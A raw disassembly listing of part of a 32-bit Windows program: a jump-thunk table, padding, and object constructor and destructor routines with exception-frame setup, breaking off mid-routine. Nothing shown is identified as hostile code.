loc_431670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402013 proc near ; CODE XREF: ___:00416B2Bp ; ___:0043B288j ... jmp sub_417C00 sub_402013 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402018 proc near ; CODE XREF: ___:00416E7Fp jmp sub_4131F0 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_421B80+5p jmp sub_422080 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: ___:00421754p jmp sub_41C0A0 sub_402022 endp ; --------------------------------------------------------------------------- off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40202C proc near ; CODE XREF: sub_404690+2CEp ; sub_404CC0+46Fp ... jmp sub_40A750 sub_40202C endp ; --------------------------------------------------------------------------- jmp loc_434410 ; --------------------------------------------------------------------------- jmp sub_41B4D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40203B proc near ; CODE XREF: sub_422470+Ap jmp sub_422750 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p jmp sub_41BA50 sub_402040 endp ; --------------------------------------------------------------------------- loc_402045: ; DATA XREF: ___:off_43F014o jmp loc_40AEC0 ; --------------------------------------------------------------------------- loc_40204A: ; DATA XREF: ___:off_43F088o jmp loc_42D150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: ___:0040AEC3p ; ___:0040FFAEp ... jmp sub_40AEF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_424920+109p ; sub_424920+178p ... jmp sub_424800 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_4099C0+7p jmp sub_409AB0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; CODE XREF: sub_416760+Ap jmp sub_416970 sub_40205E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402063 proc near jmp sub_40CBF0 sub_402063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402068 proc near ; CODE XREF: ___:004301DBp ; sub_4310C0+EAp jmp sub_434320 sub_402068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_421A60+5p ; sub_421B50+6p ... jmp sub_421FF0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_410030+8ADp ; sub_410030+95Ep ... jmp sub_411A60 sub_402072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402077 proc near ; CODE XREF: sub_40C120+7p jmp sub_40C310 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40207C proc near ; CODE XREF: sub_418A40+34p ; sub_418F90+67p jmp sub_418DA0 sub_40207C endp ; --------------------------------------------------------------------------- jmp loc_409BF0 ; --------------------------------------------------------------------------- loc_402086: ; DATA XREF: ___:off_43F13Co jmp loc_4292B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_417120+2Bp ; sub_417120+3Bp ... jmp sub_403F30 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_4098B0+14p jmp sub_409910 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_4332C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp jmp sub_428CE0 sub_40209A endp ; --------------------------------------------------------------------------- jmp sub_427940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp jmp sub_418B70 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_415230+5p ; sub_4153F0+6p ... jmp sub_415DE0 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_427940+3p jmp sub_427970 sub_4020AE endp ; --------------------------------------------------------------------------- jmp loc_41B1F0 ; --------------------------------------------------------------------------- jmp loc_421720 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: ___:00416E4Fp jmp sub_407080 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_413740+83p ; sub_4145A0+91p ... jmp sub_4153F0 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; DATA XREF: ___:0043F054o jmp sub_41F030 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p jmp sub_40ADE0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; CODE XREF: sub_431240+BAp ; sub_433C70+36p jmp sub_433CE0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p ; sub_422340+11p jmp sub_4224E0 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: sub_4221E0+4p jmp sub_4225F0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp jmp sub_42B730 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E5 proc near ; CODE XREF: ___:0041A312p jmp sub_41A3B0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_416860+Ap jmp sub_4169C0 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; DATA XREF: ___:off_43F18Co jmp sub_42C5C0 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F4 proc near ; CODE XREF: sub_415D70+4p jmp sub_416590 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F9 proc near ; CODE XREF: ___:004307A6p ; ___:00430808p ... jmp sub_434AD0 sub_4020F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020FE proc near ; CODE XREF: sub_418E20+8p jmp sub_4190C0 sub_4020FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: sub_418990+34p ; sub_418E80+67p jmp sub_418CA0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: sub_41A7D0+117p jmp sub_41A960 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_415BA0+35p jmp sub_416670 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_404CC0+459p ; sub_406730+43p ... jmp sub_409CA0 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40BE00+5p ; sub_40BF40+6p ... jmp sub_40C140 sub_402117 endp ; --------------------------------------------------------------------------- jmp loc_4308A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402121 proc near ; CODE XREF: ___:00416F7Ap jmp sub_4191B0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: ___:0042AD23p jmp sub_42AD50 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; CODE XREF: sub_410030+F3Dp ; sub_410030+1392p ... jmp sub_4148A0 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_413A80+38p ; sub_413E70+5Fp jmp sub_4135E0 sub_402130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402135 proc near ; CODE XREF: sub_40A210+14p ; sub_40A240+7p ... jmp sub_40A260 sub_402135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_42B440+157p jmp sub_42AFF0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap ; sub_40AD10+1Ap jmp sub_40AD80 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_4156F0+3p ; ___:00415F1Fp ... jmp sub_416150 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; DATA XREF: ___:0043F02Co jmp sub_410030 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40214E proc near ; CODE XREF: sub_4148A0+EDp jmp sub_415920 sub_40214E endp ; --------------------------------------------------------------------------- jmp loc_41B490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_40BF00+3p jmp sub_40C180 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40215D proc near ; CODE XREF: sub_40BFA0+11p ; ___:0040BFC7p ... jmp sub_40C2C0 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: sub_41E760+2C5p jmp sub_4208E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402167 proc near ; CODE XREF: sub_41D930+64Fp jmp sub_41C170 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40216C proc near ; CODE XREF: sub_418CC0+32p jmp sub_418F90 sub_40216C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402171 proc near ; CODE XREF: sub_40ED00+ACp ; ___:0040F42Dp jmp sub_40EE40 sub_402171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_4138B0+93p jmp sub_434D10 sub_402176 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp ; sub_415BA0+2Cp jmp sub_415B00 sub_40217B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402180 proc near ; CODE XREF: ___:0042670Dp jmp sub_4266D0 sub_402180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402185 proc near ; CODE XREF: sub_420630+17Dp jmp sub_421AD0 sub_402185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218A proc near ; CODE XREF: ___:0042D551p jmp sub_42B380 sub_40218A endp ; --------------------------------------------------------------------------- loc_40218F: ; DATA XREF: ___:off_43F010o jmp loc_409BF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap ; sub_40AAD0+103p jmp sub_40AD10 sub_402194 endp ; --------------------------------------------------------------------------- jmp loc_426280 ; --------------------------------------------------------------------------- jmp loc_427910 ; --------------------------------------------------------------------------- jmp loc_41AD00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021A8 proc near ; CODE XREF: sub_407270+14p ; sub_4072B0+9p ... jmp sub_407510 sub_4021A8 endp ; --------------------------------------------------------------------------- jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp jmp sub_433DC0 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap jmp sub_4165E0 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp ; sub_431980+1Bp ... jmp sub_4319F0 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_42FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021C6 proc near ; CODE XREF: ___:00408771p ; ___:00408793p ... jmp sub_4199C0 sub_4021C6 endp ; --------------------------------------------------------------------------- jmp loc_42DA00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D0 proc near ; CODE XREF: sub_40B600+55p jmp sub_40A0B0 sub_4021D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co jmp sub_429510 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: sub_421BF0+34p ; sub_422510+67p jmp sub_422230 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021DF proc near ; CODE XREF: sub_407140+2Cp ; sub_407140+68p ... jmp sub_4072B0 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_4346E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p ; sub_41C710+332p ... jmp sub_41D770 sub_4021E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021EE proc near ; CODE XREF: sub_40BD50+11p ; sub_40BFA0+1Fp jmp sub_40C0D0 sub_4021EE endp ; --------------------------------------------------------------------------- jmp loc_4308E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap ; sub_4247B0+1Bp ... jmp sub_424500 sub_4021F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021FD proc near ; CODE XREF: ___:00416ABBp jmp sub_418A40 sub_4021FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402202 proc near jmp sub_42CE60 sub_402202 endp ; --------------------------------------------------------------------------- jmp loc_42FF70 ; --------------------------------------------------------------------------- jmp loc_430100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_434450+1Bp jmp sub_4344C0 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: sub_42F6F0+101p jmp sub_42F040 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; DATA XREF: ___:off_43F00Co jmp sub_407210 sub_40221B endp ; --------------------------------------------------------------------------- jmp loc_42F5C0 ; --------------------------------------------------------------------------- jmp locret_418940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; CODE XREF: sub_403720+25p ; sub_403720+35p ... jmp sub_403CE0 sub_40222A endp ; --------------------------------------------------------------------------- jmp loc_4343F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_418430+88p ; sub_418430+98p jmp sub_418B90 sub_402234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402239 proc near ; CODE XREF: ___:00416BBBp ; ___:0043B20Aj ... jmp sub_417870 sub_402239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40223E proc near ; CODE XREF: sub_418BE0+5p jmp sub_418E50 sub_40223E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_414710+3p jmp sub_414740 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: ___:004305EBp ; ___:00430F17p ... jmp sub_431DC0 sub_402248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40224D proc near ; DATA XREF: ___:off_43F11Co jmp sub_4288F0 sub_40224D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_430B30+102p ; sub_432A20+5Dp ... jmp sub_431B00 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp ; sub_4135E0+C0p ... jmp sub_415540 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_432700 ; --------------------------------------------------------------------------- jmp loc_430460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402266 proc near ; CODE XREF: sub_41D930+203p jmp sub_42E3C0 sub_402266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40226B proc near ; CODE XREF: sub_42F6F0+148p ; sub_42F6F0+173p jmp sub_42EF60 sub_40226B endp ; --------------------------------------------------------------------------- jmp loc_42F490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402275 proc near ; CODE XREF: sub_4134A0+34p ; sub_4148A0+40p jmp sub_4159F0 sub_402275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p ; sub_40D040+ADp jmp sub_40D040 sub_40227A endp ; --------------------------------------------------------------------------- jmp loc_42F510 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402284 proc near ; CODE XREF: sub_422B40+938p jmp loc_424080 sub_402284 endp ; --------------------------------------------------------------------------- jmp loc_419B90 ; --------------------------------------------------------------------------- loc_40228E: ; CODE XREF: ___:00439FE6j jmp loc_40CFC0 ; --------------------------------------------------------------------------- db 129Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403530 proc near ; CODE XREF: sub_4019C4j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_403530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403589 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40357A: ; CODE XREF: sub_403530+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40357A loc_403589: ; CODE XREF: sub_403530+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_40142E push offset asc_4445EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401870 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A9B push offset byte_448F40 lea ecx, [esp+47Ch+var_450] call sub_401870 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_4035E1: ; CODE XREF: sub_403530+105j mov ebp, [edi] test ebp, ebp jz short loc_403637 lea ecx, [esp+478h+var_438] call sub_40168B dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016B8 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017EE push eax lea ecx, [esp+47Ch+var_450] call sub_401AAF lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_4035E1 loc_403637: ; CODE XREF: sub_403530+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014D3 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403530 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403700 proc near ; CODE XREF: sub_40168Bj mov eax, [ecx+9] retn sub_403700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403720 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_40222A lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40222A lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40222A lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40222A lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40222A lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40222A lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40222A lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40222A lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40222A lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40222A lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40222A lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40222A lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40222A mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40222A lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40222A lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40222A lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40222A lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40222A lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40222A lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40222A lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40222A lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40222A lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40222A lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40222A lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40222A lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40222A lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40222A lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40222A lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40222A lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40222A lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40222A lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40222A lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40222A lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40222A lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401753 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401753 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401753 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401753 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401753 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401753 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401753 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401753 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401753 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401753 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401753 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401753 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401753 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401753 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401753 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401753 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401753 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403720 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C50 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CC0 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43F004 retn sub_403CC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CE0 proc near ; CODE XREF: sub_40222Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403CE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D60 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403DE0 proc near ; CODE XREF: sub_401753j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403DE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403DE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E50 proc near ; 